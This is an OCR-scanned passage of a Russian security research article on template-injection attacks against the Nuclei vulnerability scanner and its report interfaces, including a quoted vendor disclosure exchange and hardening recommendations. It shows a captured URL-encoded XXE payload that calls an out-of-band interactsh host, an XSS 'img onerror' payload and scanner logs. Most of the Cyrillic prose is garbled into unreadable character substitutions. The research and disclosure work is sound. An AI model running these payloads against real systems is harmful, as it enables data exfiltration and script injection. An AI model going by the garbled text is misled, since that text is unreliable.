Using Interactsh Server: oast.pro

No results foung. Better luck next time!

]
]
]
1
]
]
1
]
]
]
]

alice@kali:/home/kali/server$ python3 -m http.server 8000
{ Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
8 192.168.30.134 - - [30/Aug/2024 12:10:37] "GET /solr/admin/cores?wt=json HTTP/1.1" 200 -
M 192.168.30.134 - - [30/Aug/2024 1 45] code 404, message File not found
192.168.30.134 - - [30/Aug/2024 1 0:45] "GET /solr/123454321/select?q=%3C%3Fxml%20versior
DX22UTF-8%22%3F%3EX0A%3C ! DOCTYPE%20ro0t%20%5B%0A%3C! ENTITY%20%25%20remoteX%20SYSTEM%20%22ht 1
g3b2h00j4mn9fmrzxop.oasl.pro%2F%ZZ%BE%OA%Z5remote%}B%SB%}E%OA%BCroot%ZF%3E&w{:xm16deﬂype:)

Puc.19 CSTI to HTTP Data Exfiltraton (docker). Astop: C. O. Cas4eHko, 2024.

MWHYCOM AQHHOIO MOAXOAQ SBAGETCH TO, 4TO ©e3 CneumaAbHOro daara aag Nuclei octatotcs
AOCTYMHbIMMU TOABKO BHYTPEHHUE MEPEMEHHBIE, OObIMHO HE XPAHILLME KAKYIO-AMOO 4YYBCTBUTEABHYIO
MHGOOPMALMIO.
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ATaKA HO BHELWHKe 06paboTymku

Mo mepe pacnpocTpaHeHns Nuclei, ero MOAAEPXKA HOYAAQ MOSBAATLCH U B APYIMUX MHCTPYMEHTAX,
KOTOPbIE MO3BOAAOT MPOCMATPUBATL PE3YABTATHI CKAHUPOBAHMS OOABLLIOTO KOAMHECTBA LLEAEM B YAOBHOM
POPME UAU ACXKE YMNPABAATE DTUMM CKAHUMPOBAHUAMMU. [IpK BTOM, 3QHACTYIO MPU OTOBPOXKEHMM
PE3YAbTATOB OTCYTCTBYET MPOBEPKA BXOAHbBIX AQHHbIX, YTO AEAQET BED-UHTEPADEMC MOABEPXKXEHHbBIM TAKMM
YA3BUMOCTAM, KAK XSS.

OAHUM M3 TAKMX MHCTPYMEHTOB aBAdeTCq Osmedeus — OPENMMBOPK AAR OBTOMATU3ALMKM MNpoL.ecca
neHTecTa 1 6arbayHTH, KOTOPbIM MOAAEPXKMBAET OObIYHbIM 3AMyCK NUCIEi M MPEeACTABAEHUE PEIYALTOTOB
CKAHUPOBAHMSA B doopmarte himl.

|

run: template.yaml

extract usernames

web-server l
send to external GUI

|

COMPROMISED

Prc.20 CSTI fo Attack on external Ul. Astop: C. O. CasyeHko, 2024.

MNMPOAOAXMM CLLEHOPUM, KOTAO OO ncnoabzyetr ASM-cuctemy Shodan. C ee NomMmoLLLbo BoO BbIrpy3ma
HEKOTOPOE KOAMYECTBO XOCTOB, MOABEPXEHHBIX OMPEAEAEHHOM YA3BMMOCTU. [lyCTb YA3BMAMOCTb
3AKAIOHAETCSH B BO3MOXHOCTU PACKPBITUS I03EPHEMMA AAMMHUCTPATOPA B OTBET HAO HTTP-30mpocC, 1 y
boba ecTb LLUABAOH AAS DKCAAYQTALMKM AQHHOM YA3BUMOCTU. [PEeANOAaras, 4TO CKOHUMPOBAHME OyaAeT
MACCOBbIM, BOB ncnoabzyetr Osmedeus. AAF YAOOCTBA OH HEMHOTO MEHAET CTAHAOPRTHYIO GOOPMY OTHETA
M AOBABAIET CTOADEL, C M3BAEYEHHBIMM I03EPHEUMMAMM.
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bob@kali:/home/kali$ /root/go/bin/nuclei -t poc3.yaml -u http://192.168.30.132:8000
[ Current nuclei version: v3.3.1 (latest)

[ Current nuclei-templates version: v9.9.3 (latest)

[ Scan results upload to cloud is disabled.

[ New templates added in latest release: 56

[ Templates loaded for current scan: 1

[WRN] Loading 1 unsigned templates for scan. Use with caution.

[ Targets loaded for current scan: 1

[ i er disclosure] [ ] [low] http://192.168.30.132:8000/file.txt [

ARDL 13 thama /La13¢ B

Nuclei Summary Reports [/]

$ entries Search: t
CONFIDENCE EXTRACTOR SIGNATURE NAME

Tentative administrator admin-username-disclosure

Puc.21 CSTl to Attack on external Ul. Astop: C. O. CasyeHko, 2024.

Mo pabote C 0OblMHBIM BED-CEpPBEPOM, BE3 MOAE3HOM Harpysku, Nuclei ycnelwuHo 3asepLuaet
CKAHWMPOBAHME U PE3YABTATbI KOPPEKTHO OTOBPAXKAIOTCH CHAYOAO B KOHCOAM, O MOTOM U B Bpaysepe.

Ecam xe AAmca, 3HAS MPUHLMMLI PABOTHI LLIABAOHA, BMECTO 103€PHEMMA MOACTOBUT MOAE3HYIO HATPY3KY
AAg XSS, TO Nuclei yCnewHO ee M3BAEYET, CHAYAAQ OTOBPA3UT B KOHCOAM (4TO HE HECET HETATUBHBIX
MOCAEACTBMI), A 30TEM MEPEAQACT B BEB-UHTEPIDENC, B PE3YABTATE YETO MOIBUTCS BCMAbIBAIOLLLEE OKHO.

alicedkali:/home/kali/server$ cat file.txt
<img src=1 href=1 onerror="javascript:alert('Nuclei CSTI')"></img>

bob@kali:/home/kali$ /root/go/bin/nuclei -t poc3.yaml -u http://192.168.30.132:8000
[admin- rname-di '_ re:admin-username-disclosure] [ ] [low] http://192.168.30.132:8000/file.txt
[ 1

Show = entries Search

CONFIDENCE EXTRACTOR SIGNATURE NAME

o - |:] admin-ussrmame.disciosure

Puc.22 CSTI to Attack on external Ul. Astop: C. O. CasyeHko, 2024.

B 30BMCUMOCTM OT OBPABOTINKA, MCMOAB3YEMBbIX TEXHOAOTMIM M KOHTEKCTA, ATAKA MOXET OblTb CBEAEHA K
PA3HBIM TUMAM YA3BMMOCTEM — KAK XSS, Tak XXE 1 npouume.
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HepeaAunsoBaHHble BeKTOpA

AdAaee PACCKAXY O TEX BEKTOPAX, KOTOPbIE HE YAQAOCH PEAAM3OBATS.

1) He yAQAOCH pa3BMTb MOAHOLLEHHYIO OTAKY HA BHELLHWME 0BpaboTtimnku. Paccmarpusaamcs Osmedeus,
DefectDojo u ProjectDiscovery CloudPlatform v, B OTAMYME OT MPEAbIAYLLIETO MPUMEPQA, HM B OAHOM
0BpPaBOTYUKE HAMPAMYIO HE BbIBOASTCS AQHHbIE, MOAYYEHHbIE OT XOCTA, MO KPAMHEN MEPE B CTAHACPTHbIX
BAPMAHTAX OT4ETOB.

2) He yAOQAOCb PEOQAM3OBATL MHBEKLIMIO KOAQ B KOAOBYIO BCTABKY Ha python, bash mam javascript 6es
M3IMEHEHUS AETUTMMHOTO LLIABAOHA. Cyaql MO BCEMY, B 3TOM YACTU IKPAHUMPOBAHME MPOUCXOAMT
KOPPEKTHO, M MOAE3HAS HArPY3KA NEPEAAETCS TOAbKO B BUAE CTPOKM M HUKAK MHAYE.

3) TMpU TECTUPOBAHMM SKCAOUALTOALMM AQHHBIX HE YAOQAOCbH MPOYUTATb MEPEMEHHbIE, KOTOPbIE
MPONUCLIBAOTCA B KOHbur-doamae Nuclei. B Teopum 3TOT BEKTOP MOXET MNPEACTABAATb ©OAbLLYIO
OMACHOCTb, TAOK KOK B KOHJOUIe MOTYT XPOHUTbCS, B TOM YUCAE HYBCTBUTEAbHbIE AQHHbIE AAS Jira, GitHub
man GitLab AAf QBTOMATHMHECKOTO CO3AQHMS TUKETOB MO UTOFAM MPOBEAEHHOTO CKAHMPOBAHMS.

4) He yAQAOCbH PA3BUTb OLLIMOKY MCHYEPMAHMS MAMATU B MEPENOAHEHME KY4M UAM BydDEPa AAS AOCTHKEHMUS
YAQAEHHOTO BbIMOAHEHMS KOAQ.

MNMpu 3TOM, BEKTOP 9 Obl OLLEHMA KAK OYEHb MEPCMEKTMBHLIM, TOK KAK Yy Nuclei BHyTpuM MCMOAb3yeTCs
HECKOABKO OBLLLEAOCTYMHbIX BUBAMOTEK. HEKOTOPLIE M3 HUX OBHOBASIOTCS PETYAIPHO (KOK goja), a BOT
HEKOTOPbIE, KAK, HOMPUMEP, OTBEYAIOLLME 30 BbIMMCAEHUS B IKCTPAKTOPAX MAM MOACTOHOBKE 3HAYEHMI B
LUABAOHQAX, BbIFASAAT 3AOPOLLEHHBIMM — OT 2 AO 7 AET, A 3HAYMT, MOTYT COAEPXATL BArM MAKU OLLUMOKKM B
AOTUKE.

dop25l/goja ===  Aug 28,2024

Ve

Nuclei ) valyala/

fasttemplate Oct 18, 2022

KNOUC/ oy Oct 22,2017
govaluate

Puc.23 Aestop: C. O. Cas4yeHko, 2024.

PekomeHAQUUU

B KayecTBe pPeKOMEHAALMM MO MNPOTUBOAEMNCTBUIO XOTEAOCH Obl BbIAEAMTE HECKOABKO MYHKTOB:

1. 3anyckatb Nuclei Hy>XHO B M30OAMPOBAHHOM CpEAE.

2. boaee TLLaTEABHO NPOPABATLIBATE MATYEPLI U SKCTPAKTOPLI AAS CHUXKEHMA AOAM false-negative m
false-positive cpa®aTbiBAHMM.

3. KOHTPOAMPOBATL COAEPXMMOE CAOXHbIX LLUABAOHOB, OCOBOEHHO MOAYYEHHbIX M3 CTOPOHHMX
MCTOYHMKOB.

4. MCNOAb30OBATb XAHMMOTbl — HAYMHAS OT MPOCTOro CcOOPA CTATUCTMKM MO  MCMOAb3YEMBIM
LIABAOHAM M 3AKAHYMBAS METOAOMM HEBUMAMMOCTHU, O KOTOPbIX 1 PACCKA3bIBAA PAHEE.
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3akAlo4eHune

HanocAeAOk xoTeA Bbl AQTb OTBET HO ABA BOMPOCA, KOTOPbLIE HAMPALLUMBAIOTCS CAMM COBON. INepBbin 13
HUX — YBEAOMAAAU AU Mbl Project Discovery O CBOMX HOXOAKOXZ? AEAO B TOM, YTO OKOAO FOAQ HA30A
BBIXOAMAQ HEDOABLLIAS CTATHE OT 30PYDEXHbBIX KOAAET O BO3MOXHbBIX KAMEHTCKMX ATAKAX B NUClei. B ToT pa3
Project Discovery COoOBLLIMAM, HTO 3TO He Bar, a domya 1 PA3PELLMAM MYOAMKOBATH AOOLIE MOAPOBHOCTH.
C 1ex nop y Nuclei 3HaYUTEABHO PACLLUMPUACT GOYHKLMOHAA, HO BO3MOXKHOCTb AAS OTOK HE MPMKPbIAM.
Mo3TOMY OTBET HA MEPBbLIM BOMNPOC — HET.

Reporting to ProjectDiscovery

As soon as we had all the details and a draft of this blog post, we reached out to ProjectDiscovery

about our findings.

ProjectDiscovery responded, that they wish to clarify, that they use Knetic's govaluate for
expression evaluation and not a template processor. Further they told us that the highlighted

features pose no security risk and that they are intended.

We agree, that govaluate is not problematic here. The same goes for the ProjectDiscovery DSL
which is also used to evaluate expressions in the same manner. The replacement of the
placeholders in a given template is done with valyala/fasttemplate, which once again is not

problematic itself.

The problematic part is in our opinion the way how nuclei uses those libraries. As we described
nuclei takes unsanitized data from the server it is scanning and then evaluates it with the help of
fasttemplate, dsl and govaluate. When extracting data from the scanned target for reuse, one
would expect that nuclei sends the same data as-is. However, if the extracted data happens to be
in the format of {{data}} Or §data§ (either by chance or malicious intent), it will undergo evaluation,

and the resulting evaluated value will be used in subsequent requests.

We discussed this opinion with ProjectDiscovery, but they still don't see it as a security problem,
and asked us to create a Github issue if we feel there is a bug that leads to a crash of nuclei.

Puc.24 https://threatcat.ch/blog/when-hunters-become-prey/, 2023.

M BTOPOM BOMPOC — HACKOABKO Yrp0O3a PACMPOCTPAHEHAS 3AECH MOXHO OTBETUTL, YTO BErAbIM MOUCK MO
OPULIMAABHOMY PEMO3UTOPUIO MOKA3AA KOK MUHUMYM 5 LLUABAOHOB, YI3BUMBbIX K MHbEKLLMAM.
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